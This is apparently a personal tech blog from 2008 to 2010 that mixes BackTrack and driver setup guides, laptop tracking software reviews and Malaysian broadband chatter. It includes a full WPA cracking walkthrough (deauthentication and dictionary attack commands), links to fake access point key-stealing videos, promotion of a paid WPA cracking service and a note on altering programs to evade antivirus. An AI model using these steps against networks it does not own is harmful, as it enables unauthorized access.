Vpoint7 Inc Blog

BackTrack4 Final is Now Available

2010-01-12T17:02:00.000+08:00

BackTrack 4 Final is now release to the public.

My connection seems stable (very stable, hehe) to download the iso file, and it appears that offensive-security site got new theme for this new year 2010. Thats look great to me and they really did the job well.

Updates : Fake AP video is up

2009-12-12T16:02:00.010+08:00

Its been a while that fake access point development had reach it peaks, with various method being applied, until the latest hole through NETGEAR router. As for this example provided here, I made some changes in the script, and here is screen shot, credit to floyd.

What is your working environment ?
BT4PF and WinXP SP3 under VMware Workstation.

Are there any video for this ?
You may get it HERE.

135 million word dictionary created specifically for WPA passwords ?? In 20minutes ??

2009-12-09T05:52:00.000+08:00

Don't feel enough with 1,000,000 password list to crack WPA wifi keys from 33gb of Church Wifi ? Then what about 135 million of keys ? I do feel the same about 33gb church of wifi list, it does not give absolute satisfaction for universal WPA cracking.

This diagram shows that, 1mil. keys of Church wifi does not found the pass key.

How does this help you to crack the WPA *.cap file ?
For $34, it can run a password against all 135 million entries in about 20 minutes. Those willing to wait 40 minutes can pay $17 to access the system at half mode.

What is the minimum characters for WPA settings ?
WPA pass codes must contain a minimum of eight characters.

What if the password is not found ?
The cost job is the same whether the password is found or not.

Where do I get this service online ?
http://www.wpacracker.com/index.html

Laptop died within 3 years ??!!

2009-11-20T12:12:00.000+08:00

Percentage ?

Netbooks have a roughly 20 percent higher failure rate due to hardware malfunctions than standard laptops.

Reliable laptop company ?

Toshiba and Asus, both with below a 16 percent failure rate due to hardware malfunction.

Least reliable laptop ?

Acer, Gateway, and HP. HP's hardware malfunction rate, the worst in SquareTrade's analysis, is a whopping 25.6 percent.

How to keep your laptop live longer than 3 years ?

Ensure your laptop is as drop-proofed as possible (use a padded bag or case, route cords so they won't be tripped on, lock children in another room), and protect it as best you can from heat and dust.

Source : http://tech.yahoo.com/blogs/null/154921

Backtrack4-PreFinal : Network Mapping with Kismet-Newcore + Giskismet + Google Earth

2009-09-19T06:57:00.000+08:00

Network mapping is another cool additional tools inside BT4. By using certain supported GPS hardware, this can provide us better positioning coordinates and smooth running with the Kismet mostly. My working environment is BT4-PF under Vmware Workstation with NAT connection. The setup includes Alfa AWUS036H and GPS BU-353. You may get manual way here from vvpalin or just follow the automatic tutorial here.

First step, install & update your BT4PF ?
Open shell console,
root@bt:~# apt-get update
root@bt:~# apt-get upgrade

After getting everything updated, lets make sure our hardware are well connected,
root@bt:~# lsusb

Update BT4PF

Of course everything (Kismet-Newcore + Giskismet) will be automatically installed except Google Earth. Open up your browser, download the Google Earth. We install our Google Earth and make sure the binary path assign to /usr/bin
root@bt:~# sh GoogleEarthLinux.bin

Download Google Earth

Installing Google Earth

Second step, get your GPS and Kismet running ?
So let get started by firing up our GPS BU-353,
root@bt:~# gpsd -N -n -D 3 /dev/ttyUSB0

Running GPS

If you have problem to understand the command, try this,
root@bt:~# gpsd --help

GPSD help

Run our kismet,
root@bt:~# kismet

You may adjust some configuration,

Click OK

Select YES

Uncheck Logging and Show Console

Select YES and choose your card, ei ; wlan0

Third step, the output ?
You may drive around to do some scanning in your area or anywhere you like. Once you done and satisfy with it, it is time to look over on our Google Earth, but before that, we need to parse the xml file.
root@bt:~# giskismet -x Kismet-*******.netxml

Then make a kml output.
root@bt:~# giskismet -q "select * from wireless" -o output.kml

Open your output.kml through Google Earth. There you go.

Indonesian hackers attack Malaysian websites ???

2009-09-03T14:36:00.000+08:00

They claim to hit 120 sites, due to stealing of cultural item and the abuse of Indonesian workers ?? Reported by Jakarta Globe.

1.

A statement on a Blogspot blog titled “Terselubung” says that a number of Malaysian websites have been hacked and defaced to “celebrate” Malaysia’s Merdeka Day, two days ago.

“Today, August 31, 2009, an uncreative country, a country who likes to steal Indonesian culture, a country whose citizen is the mastermind of bombings in Indonesia, a country who harassed Indonesia on the Internet... a country which received their independence from Britain, is celebrating its anniversary,” the website stated.

The site then listed in excess of 120 Internet addresses, including domains for Malaysian educational and tourism pages, reported the Jakarta Globe.

Each link, when clicked, opened to a page with flashing graphics of the Indonesian flag and a statement that the site has been “hacked by Indonesia”.

Source : http://www.themalaysianinsider.com/index.php/malaysia/36621-indonesian-hackers-attack-malaysian-websites

2.

JAKARTA: Sekumpulan penggodam komputer Indonesia kelmarin mendakwa menyerang beberapa laman web Malaysia, insiden terbaru yang membayangkan kehampaan berterusan selepas Kuala Lumpur didakwa menggunakan tarian tradisi republik itu untuk mempromosi pelancongannya.

Satu kenyataan dihantar ke sebuah blog bertajuk "Terselubung" berkata beberapa laman web Malaysia digodam dan dicacatkan.

Source : http://www.bharian.com.my/Current_News/BH/Wednesday/Dunia/20090902100201/Article/index_html

Flash Linksys WRT54GL 1.1 to DDWRT under Vista

2009-08-08T14:35:00.000+08:00

What is DDWRT?
DD-WRT is a Linux based alternative OpenSource firmware suitable for a great variety of WLAN routers and embedded systems.

Why do you need to change firmware from original Linksys to DDWRT?
Allow us to repeat wifi or boost your wireless signal.

What is/are the risk to changing your router firmware?
You may brick you router and your warranty will go off by changing the firmware other than Linksys firmware.

How do I flash my WRT54GL 1.0/1.1 under Vista OS?
You may refer How-To Flash Your WRT54GL Under Vista. Register to forum to view content

Fake AP video is Up !!!

2009-06-24T11:50:00.000+08:00

Another method to gain Wifi keys, credit to hm2075

Working environment?
My working environment is under VMware between BT4-Beta and WindowsXP SP3.

Where can I get the video?
Its HERE

**Update** (Aug 2009)
Automated Non-Transparent Fake AP can be found HERE. (Register to forum to view content)

Backtrack4-Beta : USB Installation With Persistent Changes

2009-05-31T04:20:00.000+08:00

A lot people have trouble with their Backtrack that save changes their settings after reboot the system from a thumb drive. I do have the same problem and here is a 'how-to' to make a persistent changes inside my USB thumb drive instead of putting *.lzm file/s into modules folder.

What is your working environment and setup?
My working environment is under Vmware Workstation 6.5.2 with Backtrack4 installed. This is the best choice for me since my laptop have trouble to boot from a Backtrack Live-CD, somehow, it does not make any difference of command between Live-CD or from the VMware with Backtrack3/4. The setup includes 2 USB drives. My first USB thumb drive is 8GB and the content are boot and BT4 folder which I extract and copied from the original bt4.iso. The other thumb drive is my 2GB USB which where the Backtrack4 will be installed to.

First step, make partition?
Load your Backtrack, open the shell console and look over the connected device with fdisk.

Our motive is to install the Backtrack4 into 2GB USB thumb drive, which is identified as sdc. We need to make 2 partition on this 2GB thumb drive with FAT32 and EXT2 format respectively. Our FAT32 will keep the boot and BT4 folder and EXT2 is the one that will keep our changes soon.

Now, we have to delete the /dev/sdc1 partition and create a new partition for it.

root@bt:~# fdisk /dev/sdc
Command (m for help): d
Selected partition 1
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1936, default 1):
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-1936, default 1936): +1024M
Command (m for help): t
Selected partition 1
Hex code (type L to list codes): b
Changed system type of partition 1 to b (W95 FAT32)
Command (m for help): a
Partition number (1-4): 1
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (1042-1936), default 1042):
Using default value 1042
Last cylinder, +cylinders or +size{K,M,G} (1042-1936, default 1936):
Using default value 1936
Command (m for help): w
The partition table has been altered

You may recheck again, with fdisk -l,

After the partition is created, we are going to change the linux partition to ext2.

root@bt:/# mkfs.ext2 /dev/sdc2
root@bt:/# mkdir -p /mnt/sdc2
root@bt:/# mount -t ext2 /dev/sdc2 /mnt/sdc2
root@bt:/# mkdir /mnt/sdc2/changes

Second step, copy the files?
The first partition, FAT32, will keep the boot and BT4 folder. So we have to copy those files from 8GB drive to /dev/sdc1

root@bt:/# mkdosfs -F 32 /dev/sdc1
root@bt:/# mkdir -p /mnt/sdc1
root@bt:/# mount -t vfat /dev/sdc1 /mnt/sdc1
root@bt:/# cp -Rf /mnt/sdb1/boot/ /mnt/sdc1/
root@bt:/# cp -Rf /mnt/sdb1/BT4/ /mnt/sdc1/

The copy process will take some time, so be patient.

Final step, making our 2GB bootable and keep the changes?
root@bt:/# chmod +Xx /mnt/sdc1/boot/syslinux/lilo
root@bt:/# chmod +Xx /mnt/sdc1/boot/syslinux/syslinux
root@bt:/# nano /mnt/sdc1/boot/syslinux/syslinux.cfg

Now, append our changes for the EXT2 partition we created before. For example ;

LABEL BT4 Beta - Modified Version By Vpoint7@DeathOwl
KERNEL /boot/vmlinuz
APPEND vga=0x317 initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw quiet changes=/dev/sdb2

Attention to the changes=/dev/sdb2, I have chosen sdb2 because on the next boot, the 8GB thumb drive will be removed leaving our 2GB stick on and boot up. Continue on to complete the setup.

root@bt:/# ln -sf /bin/bash /bin/sh
root@bt:/# sh /mnt/sdc1/boot/bootinst.sh
root@bt:/# reboot

Lets boot from our 2GB stick, make a file on your desktop. Reboot and check it out. Its still there !!

PCFair April'09

2009-04-13T14:15:00.000+08:00

PC-Fair '09 is the largest PC exhibition in Malaysia, every year. Nothing much has change, but this year, the different seen is the broadband service. Instead of cellphone broadband (Digi, Maxis & Celcom), there are Wimax, Izzinet, & Streamyx on the air. What's new is only Wiggy.

My previous post was Laptop Tracking, this time I saw another commercial program, known as Inspice-Trace. Lets hear it ;

Promoter : Laptop tracking ... laptop tracking program ... laptop tracking program ...

Me : May I have a look on your product ?

Promoter : Yes, please. We are giving away a free one month subscription with our product. It is only Rm2 for one month use.

Me : What kind of packages do you offered ?

Promoter : We have 1 year subscription and 3 years subscription & the price is Rm90 and Rm150 respectively. This offer only available during PCfair.

Me : May I get the same activation price for next time ?

Promoter : I'm not sure about that, maybe you have to wait another PCfair exhibition. Your second time subscription will return to its original prices, Rm119 and Rm229 (Standard & Enterprise).

Me : How is this program working ?

Promoter : You have to install the program in your laptop once, enter the subscription serial number inside the cd. Once the program is install, there is no way it can be trace down. If someone/theft try to format the OS, the program will prevent it and the serial key will be asked. It can't be removed unless the correct key is entered.

Me : How did it trace the stolen laptop ?

Promoter : By using ip address.

Me : Where the program will be installed into, I mean the track/spy file ?

Promoter : It's inside the hard disk.

Me : So this program works by preventing the operating system from being formatted & the Inspice-Trace program will be protected too. Am I right ?

Promoter : Yes, that is how it works.

Me : What if the theft remove the hard disk ? Are the laptop is still traceable ?

Promoter : Ok, if you are the theif, would you remove the hard disk ?

Me : Of course if its me.

Promoter : Usually, the theft will not removed the hard disk, they possibly kept it for them self or sell it to someone else.

Me : So it too dependent for internet connectivity and how smart the theft is. Am I right ?

Promoter : Yes, you are right.

Brochure.

Sample CD that has one month subscription which is Rm2.

Authorized distributor ?
MyWare Mart Sdn Bhd
B103, PJ Industrial Park, Jalan Kemajuan, Seksyen 13, 46200, Petaling Jaya, Selangor.
Tel : +603-7960 6001

Further info ?
http://inspice.com

By the way, here some of PC Fair Babes ... ^_^

You may download the pics on that day, enjoy :
http://rapidshare.com/files/225552555/PCFair09-I.rar

Ubuntu8.10 : Aircrack-ng with RTL8187 (Alfa AWUS036H)

2009-04-05T00:30:00.000+08:00

I got some friends asking for help on Ubuntu8.10 for the USB wifi RTL8187 setup. I give it a try, and it works well for both monitoring & injection. So lets start from a scratch of clean install of Ubuntu8.10 distro & remind that this issue have been covered in various sites including the Ubuntu forum and the Aircrack community. My working environment is under VMware Workstation 6.5.2beta with NAT connection. There is no difference with command between HDD installation or Vmware.

First step, update your Ubuntu8.10?
After we complete install Ubuntu8.10 under VMware, we need to update all important requirement for the aircrack-ng program to work well under Ubuntu8.10. Naturally, there will be an auto notification tells that some update is required at the top right of Ubuntu8.10 desktop or you may just navigate to System > Administration > Update Manager for the updates. There were about at least 301 updates for the first time installation of Ubuntu8.10, but the most important updates are gcc, the kernel-headers, module-assistant package and the associates. These processes may take some time depending on your speed of internet connection.

Second step, installing aircrack-ng?
All updates above should be properly installed as it is considered to be automatic process. I prefer to install the firmware/driver before attaching the USB wifi device physically. Again, for the smoothness of our installation process, lets change user to root. It can be done by command sudo -i. Now, we are ready to install aircrack-ng suites into Ubuntu8.10. Navigate to System > Administration > Synaptic Package Manager. Click on Search icon, key in aircrack and start searching. Click the apply icon when ready to install.

Third step, removing the old drivers?
With the root access, root@ubuntu:~#, lets remove the old firmware/driver that comes along with the kernel installed previously.

root@ubuntu:~# cd /lib/modules/2.6.27-7-generic/kernel/drivers/net/wireless/
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/drivers/net/wireless/# rm rtl8187.ko
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/drivers/net/wireless/# cd
root@ubuntu:~#

Another place to remove the old driver,

root@ubuntu:~# cd /lib/modules/2.6.27-7-generic/kernel/net/ieee80211/
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# rm ieee80211_crypt_wep.ko
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# rm ieee80211_crypt.ko
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# rm ieee80211_crypt_ccmp.ko
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# rm ieee80211_crypt_tkip.ko
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# rm ieee80211.ko

Fourth step, installing the new driver for RTL8187?
Up until here, I haven't attach the wireless card. Continue on our modification,

root@ubuntu:~# rmmod r8187 rtl8187 2>/dev/null
root@ubuntu:~# mkdir /usr/src/drivers
root@ubuntu:~# cd /usr/src/drivers
root@ubuntu:/usr/src/drivers# wget http://dl.aircrack-ng.org/drivers/rtl8187_linux_26.1010.zip
root@ubuntu:/usr/src/drivers# wget http://patches.aircrack-ng.org/rtl8187_2.6.27.patch
root@ubuntu:/usr/src/drivers# unzip rtl8187_linux_26.1010.zip
root@ubuntu:/usr/src/drivers# cp -v rtl8187_2.6.27.patch -t rtl8187_linux_26.1010.0622.2006
root@ubuntu:/usr/src/drivers# cd rtl8187_linux_26.1010.0622.2006/
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# tar xzf drv.tar.gz
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# tar xzf stack.tar.gz

After all adjustment above, we need to make some changes on r8187.h file. Lets hunt this file,

root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# cd beta-8187/
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006/beta-8187# gedit r8187.h

So that, some changes need to be done in lines 46 & 47,
Ogirinal lines on 46 & 47 are :
#include <asm/io.h>
#include <asm/semaphore.h>

We overwrite lines 46,47 to this :
#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
#include <asm/io.h>
#include <asm/semaphore.h>
#else
#include <linux/io.h>
#include <linux/semaphore.h>
#endif

Original settings

Modified settings

Save it & we are ready to execute the compilation. Return to rtl8187_linux_26.1010.0622.2006 folder,

root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# apt-get install patch
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# patch -Np1 -i rtl8187_2.6.27.patch
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# make
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# make install

Everything should works well without error. Restart your distro and connect your card (eg : Alfa AWUS036H) or any card with RTL8187 based chipset.

Diagram above show an example of cracked wireless under 2minutes with Alfa AWUS036H. All the command to use aircrack-ng program is exactly the same except the device had to be changed to wlan0 or wlan1 depending on what you saw on terminal with ifconfig -a. You may refer HERE.

Do you have tutorial for RTL8187 in Ubuntu9.04 ?
Yes, you may refer inside my forum, HERE. Register to forum to view content.

Track Your Stolen Laptop : Adeona & LocatePC

2009-03-06T14:55:00.000+08:00

Its been a while, even sometimes we need to accept the real world that there is no total safe places to stay especially student. I have been thinking that it is still important to install such program even though the chances of retrieval would be less than 10% since that my laptop is only 8 month years old. Its not new, but free. No latest version is found since August 2008 and it is open source base software for Adeona.

Software 1 : Adeona

Supported OS ?
Windows XP/Vista, Mac OS X, and Linux only.

Where to download and how to install ?
http://adeona.cs.washington.edu/downloads.html

Picture 1 - The program is running during the tracking system.

Picture 2 - Complete file is put into *.txt file, can be open with Notepad.

Picture 3 - Copy & paste the IP and wait for result such image below.

Picture 4 - One of the result seen.

Software 2 : LocatePC

Supported OS ?
Windows Vista/XP/Me/98 only.

Where to download and how to install ?
http://www.iconico.com/locatePC/

Picture 1 - The main menu of the program. You have to set the login password. Version that I used is 1.5.

Picture 2 - The received mail from the program.

How effective Adeona/LocatePC is ?
In my opinion, psychologically, the thief will not format the file system because they expect to get something for entertainment (media files) or credential such accounts or personal matters. So they wont expect that something has been planted in the system for that stolen laptop. Somehow, it is too dependent that the stolen laptop must be available online and the free online map services such Google Mapping is not accurate to locate/specify the exact location especially for Malaysia. There are few commercial program out there, and the chances would be much better due to implementation of Trusted Platform Modules (TPM) and hardware based Digital Rights Management (DRM) into the hardware. You may join up their forum for further information.

+ Further details on Adeona can be downloaded on my GreenBox on the top right of the page.

Tools modification video is UP !!!

2009-02-05T15:33:00.000+08:00

Here is one of methods available to modified a program to avoid AV detection, its only for demonstration. Tools needed include ;

1. Hex Workshop
2. Ollydbg
3. LordPE

Where can I get the video?
Its HERE

iZZinet Broadband

2009-02-01T15:58:00.000+08:00

Today, I went to Wisma Lowyat, met/blocked by iZZi promoter, so lets hear it ;

Promoter : Hello sir, we got CNY offer for iZZi broadband, do you want to have a look ?

Me : T.T, Sure sure ...

Promoter : As for CNY offer, we a giving "ONE MONTH extra" for iZZinet broadband user.

Me : What do you mean ?

Promoter : We are having special package that is only available during CNY, normally any broadband company will offer you a 6 month package, some of them offering one year package like Maxis. But now, iZZi broadband giving you an extra one month, a total of 7 month of internet excess with the same price.

Me : Okay, what makes iZZi broadband so special compared to the other internet provider ?

Promoter : Okay, i'll explain few advantages of iZZi broandband over the others, let say for Celcom broadband, as you took package of Rm99, you are allowed to have a total download size of 5Gb, more than 5Gb, their service will block your access & you will not able to use a p2p program anymore. They (Celcom Broadband) even offer to provide a 3.6Mbps connectivity, but not everyone knows that Malaysia only have connection with 2.2Mbps maximum unless you at Overseas & its too dependent to certain area, if your area have 3.5G, then will enjoy a good connectivity, if you a living in a bad area, say 2G, I am sure, you will not have a good connection. What about Maxis broadband ? You will have to take a one year contract with Maxis Broadband & if you are having problem with their service because get disconnected more often, I am sure you want to terminate the service. Somehow, terminating contract within a year will cost you Rm200, do you want to pay for their mistake & we do not want this. For Streamyx, they only have one tower for each area, which means, if problem occur, you will have internet connectivity problem only in your area & have to wait for few hours, but usually more than 3 days to be fully recovered. What about Wimax, P1 ? They are very good to provide a 15days trial with the service if I am not mistaken, they offer to have 2.4Mbps connectivity, somehow their registration fee is Rm100, with 12month contract of Rm99 per month, not included with the modem, it cost you Rm300 (Modem) plus its not mobile. Rm100 + Rm300 + Rm99x6 = Rm994 Wimax compared to package iZZiyou6 with Rm699 for 6months. iZZi broadband is cheaper. Furthermore, you know hackers manage to get their connection even with protection is applied.

Me : Erm, not sure. (@.@) . . .

Promoter : Furthermore we are using radio frequency. Just now, I got customer using Maxis Broadband, he/she says, I live at 7th floor, I got disconnected frequently. Do you know why ?

Me : Oh ... really ... explain ...

Promoter : If you are using cellphone broadband such Maxis, above than 5th floor you will have connectivity problem, and Wimax@P1 only able to get connectivity up to 8th floor. iZZi broadband would not have problem with the height, the higher the better.

Me : So what kind of packages do you have ?

Promoter : We have iZZiex, one, you, pro & wi with 6months of internet access. Latest packages are iZZiex & iZZione. Personal use packages are iZZiex, one and you. For sharing or multi-user packages are iZZipro6 (Rm899) and iZZiwi6 (Rm979). iZZipro6 can be use up to 4 person in single line.

Me : How do I know my area in covered with your connection ?

Promoter : Where do you live ?

Me : I live at ...

Promoter : Okay, let see (opening google earth & while waiting), btw, our tower have a wide coverage of 13km in radius, that is quite big for you to get connection. Oh great !! Your area only 2.xxkm away from this tower, the second tower is just 2.xxkm too, the third about 3.xxkm. So you should not have any problem if one of our tower get caught in problem, you still can have an access using another tower surrounding. Yet, it still much better than Streamyx with one tower per area.

Note : Any location outside these area may not available with iZZinet broadband.

Me : Anything else do you have with iZZi broadband ?

Promoter : Hm, oh, there is one more thing, with iZZi broadband you will not have any problem like Streamyx service, let say, if you wish to discontinue you may do so because iZZi broadband is manageable, after 7months of service with the package you have taken, you may stop or continue our service by top-up just like your cellphone. We have Rm50 for 17days, Rm100 for ... and Rm200 coupon. If you have credit card, then you only have to access our sites and continue get connected. Compared to Streamyx, you will still continue your subscription unless you give them a call or pay them a visit to discontinue.

Me : ....

Promoter : This is my contact no., you may call us if you are interested.

Me : Thx..

Personal Conclusion ?
4G Broadband is something new to Malaysia, but 4G connection with 1Mbps speed is something that must be change. It should be faster than this, iZZinet broadband in my area has connection 1.3MBps or 164KB/sec of download speed. This is still low compared to US with 300KB/sec download speed at least. So where are we ? Its a very good opening for the next generation with faster internet connectivity. The price range actually the same, as for now, there is only few user of iZZi broadband, so they won't have "crowded" problem like streamyx do.

Wireless cracking video is UP !!!

2009-01-01T05:59:00.000+08:00

I got nothing to do on this December, so I plan to make some simple video ;

1. Install & Update WUSB54GC card
2. WEP Cracking with WUSB54GC card
3. WPA Cracking with WUSB54GC card

What you should know ?
General knowledge on the function of each command used to crack wireless connection.

Where can I get the video ?
You may get the video HERE

BackTrack3 : Aircrack-ng with RT73 (WUSB54GC)

2008-09-03T14:05:00.000+08:00

Note : As mention before, BT3 failed to dual boot in F80S, all scenario here is applied in VMware Workstation in F80S. The main advantage of this solution is that you now can copy the VMware image to different notebooks or desktop computers running all kinds of operating systems and hardware configurations.

BT3 in VMware does not have internet connectivity, what should i do?
VMware itself have limitation on using internal/external devices such PCMCIA/PCI/PCI-Express but allow USB insertion. Therefore, get yourself a USB dongle that allow us to get connected to the net. We have a lot choices on USB dongle model that works on BT3, and I choose Alfa Network AWUS036H (RTL8187L) & Linksys WUSB54GC (RT73). In this post, I will show an example on how to use a Linksys WUSB54GC card with BT3.

How to connect Linksys WUSB54GC with my BT3 in VMware?
VMware will not automatically connect any external devices. To begin, load your BT3 completely, plug-in the Linksys WUSB54GC on the USB port. Now click on Vmware menu VM > Removable Devices > USB Devices > Linksys USB Device (Port 1). You are now ready to use the device and connected to the internet without installing any drivers for it. WUSB54GC card works out of the box in BT3.

How to make sure that the device is connected?
Open shell konsole in BT3, type ifconfig -a and you should see rausb0 for Linksys WUSB54GC [If you are using Alfa AWUS036H, you should see wlan0] ;

Is it possible to crack wireless connection with Linksys WUSB54GC and how to start?
Absolutely, to begin, we have to get some updates on the driver which is Ralink RT73 chipset for Linksys WUSB54GC and BT3 kernel. Open shell konsole, type
bt ~ # wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-3.0.1.tar.bz2
bt ~ # wget http://www.offensive-security.com/kernel.lzm, you should see this,

You may also get other drivers for different USB dongle model at http://homepages.tu-darmstadt.de/~p_larbig/wlan/

Note that the driver version is 3.0.1 and the format is *.bz2. We need to extract the file, on the same konsole, type
bt ~ # tar -xvjf rt73-k2wrlz-3.0.1.tar.bz2
bt ~ # ifconfig rausb0 down
bt ~ # lzm2dir kernel.lzm /

After that, we navigate to the extracted files, by typing
bt ~ # cd rt73-k2wrlz-3.0.1/Module
bt Module # make
bt Module # make install
bt Module # cd
bt ~ # modprobe rt73
bt ~ # ifconfig rausb0 up

Therefore, we are ready to crack some wireless line within certain distance. In this example, we are trying to crack WPA/WPA2 networks. Continue,
bt ~ # iwconfig rausb0 mode monitor rate 1M
bt ~ # iwconfig

Up until here, you will see rausb0 with bit rate=1Mb/s, cont.,
bt ~ # iwpriv forceprism 1
forceprism no private ioctls
bt ~ # iwpriv rausb0 forceprism 1
bt ~ # iwpriv rausb0 rfmontx 1
bt ~ # airodump-ng rausb0

Then, CTRL+C to stop, now we have an AP has essid called home with the MAC address 00:1D:7E:64:88:B5 on channel 11, so on new konsole we type,
bt ~ # airodump-ng -c 11 -w /tmp/dmp rausb0

As for now, wait for 10seconds to make sure WPA Handshake appear on the top right side of the konsole. If it does not appear, follow step (1) cont. with step (2), if it does follow step (2) and ignore the step (1),
Step (1),
Open new shell konsole, type,
bt ~ # aireplay-ng 0 -5 -a 00:1D:7E:64:88:B5 rausb0
The 00:1D:7E:64:88:B5 is the AP MAC address. As you activate this command, notice the first konsole will have WPA handshake on top right.

Step (2),
Now we get our WPA handshake, press CTRL+C, as for WPA/WPA2 cracking, number of packets does not mean anything for the cracking purpose. Open new konsole,
bt ~ # aircrack-ng -w mangled.lst -b 00:1D:7E:64:88:B5 /tmp/dmp-01.cap
The mangled.lst is a dictionary file and it could be any name depending on your dictionary file, and the 00:1D:7E:64:88:B5 is the AP MAC address. You should see a calculating window once you execute this command such below image,

Are there any different between WPA and WPA2 cracking?
No. Same method of cracking is applied for both type of encryption.

Should I stop cracking calculation if the AP is off?
No, because we are cracking offline. You may continue until key is obtained.

Do you have video approach about cracking WEP/WPA?
Yep, you may download some of my vids HERE .

F80S with BackTrack3

2008-08-16T09:17:00.000+08:00

Installation of BT3 in F80S laptop HDD failed, and such error occured ;
On the way to boot the cd...

... starting Linux Live scripts
* mounting /proc and /sys filesystems
* creating /dev entries for block devices
* starting loop device support
* starting cdrom filesystem support
* starting squashfs support
* starting aufs support
* starting vfat support
* starting ntfs support
* setup directory for changes
* setup union directory (using aufs)
* looking for data directory
* starting USB support...
Fatal error occured - LiveData not found. Searching for BT directory.
You are maybe using an unsupported boot device (eg. SCSI or PCMCIA CD-ROM)
Try to copy the directory BT from CD/USB to your IDE/SATA harddisk,
for example to /mnt/sda1/ in Linux or C:\ in Windos. Then boot again
* Something went wrong and we cant continue. This should never happen.
* Please reboot your computer with CTRL+ALT+DEL ...
/ #

Note : Both BT2 and BT3 version came up with the same results when i try to boot with the Live-CD.

Due to such limitation, dual boot with Vista is not possible, i came up with solution by virtualize the OS itself. Software that i use to install BT3 is VMware Workstation 6.x. The product key of VMware Workstation seems working with various version of 6.x. The main advantage of this solution is that you now can copy the VMware image to different notebooks or desktop computers running all kinds of operating systems and hardware configurations.

How to install BT3 in VMware Workstation 6.x?
1. Run VMware 6.x, click on New Virtual Machine > Typical > Guest OS (choose Linux) Version (Other Linux 2.6.x kernel) > Virtual Machine Name (Any name that you wish, say BT3) > Use Bridge networking > Disk 8Gb and click Finish.

2. Boot BT3 cd/iso in VMware, choose BT3 Graphic Mode (KDE), wait until completely loaded, if required (Login=root, Password=toor), then type "startx".

3. Open console, type in "fdisk /dev/sda" > n > p > 1 > Press Enter > +50M or +64M > n > p > 2 > Press Enter > +512M > n > p > 3 > Press Enter twice > a > 1 > t > 2 > 82 > p > w.

4. Continue by typing ;
bt ~ # mkfs.ext3 /dev/sda1
bt ~ # mkfs.ext3 /dev/sda3
bt ~ # mkswap /dev/sda2
bt ~ # swapon /dev/sda2
bt ~ # mkdir /mnt/bt3
bt ~ # mount /dev/sda3 /mnt/bt3/
bt ~ # mkdir /mnt/bt3/boot
bt ~ # mount /dev/sda1 /mnt/bt3/boot/
bt ~ # cp --preserve -R /{bin,dev,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/bt3/
bt ~ # mkdir /mnt/bt3/{mnt,proc,sys,tmp}
bt ~ # mount --bind /dev/ /mnt/bt3/dev/
bt ~ # mount -t proc proc /mnt/bt3/proc/
bt ~ # cp /boot/vmlinuz /mnt/bt3/boot/
bt ~ # chroot /mnt/bt3/ /bin/bash
bt / # splash -s -f /etc/bootsplash/themes/Linux/config/bootsplash-1024x768.cfg >> /boot/splash.initrd
bt / # nano /etc/lilo.conf

5. Then automatically you are brought to lilo.conf, make some changes or just copy paste such below ;

lba32
boot= /dev/sda
#message = /boot/boot_message.txt
prompt
timeout = 10
change-rules
reset
vga = 791
initrd = /boot/splash.initrd
image = /boot/vmlinuz
root = /dev/sda3
label = BackTrack3

Save it by pressing CTRL+O

6. Type ;
bt / # lilo -v
bt / # exit
bt ~ # poweroff

Link below would give you a better view on how to install BT3 into VMware Workstation.
http://g0tmi1k.blip.tv/file/1159692/

**Update** (Dec 2008)
Another version of Linux seems working properly in F80S laptop.
http://www.linlap.com/wiki/asus+f80s

Changing Hostname & Password in BackTrack3

2008-08-15T10:30:00.001+08:00

How do I change hostname in BT3?
Navigate to rc.M file, bt ~ # nano /etc/rc.d/rc.M,

Original condition of rc.M,

# Set hostname by using DHCP response
ls -aA1b /etc/dhcpc | egrep ".info\$" | while read INFOFILE; do
# the next line won't affect rc.M variables, because it's in >while read< loop
. /etc/dhcpc/$INFOFILE
echo "bt."$DOMAIN >/etc/HOSTNAME
break
done

Few changes are made such below and save it by pressing CTRL+O.

Example 1.

Example 2.

How do I change password in BT3?
Login normally in BT3, open a shell console and type bt ~ # passwd. Change your password as you desired.

How do I change login notice in BT3?
Simply navigate to issue file, bt ~ # nano /etc/issue and save it with CTRL+O.

Dual Boot Windows Vista Home Premium and Windows XP

2008-08-08T07:28:00.000+08:00

I bought a new laptop on 3rd Aug 2008, Asus F80S (250Gb, AR5007EG build-in, Memory of 2Gb, with processor Duo T5750, Vista Premium OS). It has 2 partition with C: VistaOS | D: Data | E : DVD RW Drive. C: drive has 116Gb & D: drive 106Gb. So total of both space is 222Gb. When I open the Disk Management of Vista Premium, there is one more drive that has no label with the size of 10Gb. This hidden drive is not shown on My Computer for the Recovery purpose. Now the total size of space of F80S is 232GB.

Here are the steps to make dual boot without loosing any data from Vista Premium. As for dual boot installation, using Vista Disk Management, I shrink my C: for 30Gb, means I use the free space available from C: to make new partition on My Computer. This new partition will be E: with 30Gb of space after formatted as NTFS in Vista and here is where the WinXp will be installed to. To make it alphabetical order, I change drive E: to D: and original D: to E:. Drive D: is data from the beginning, ignore that notice that says “Some data that rely on this drive letters might not run correctly. Do you want to continue?”.

To begin,
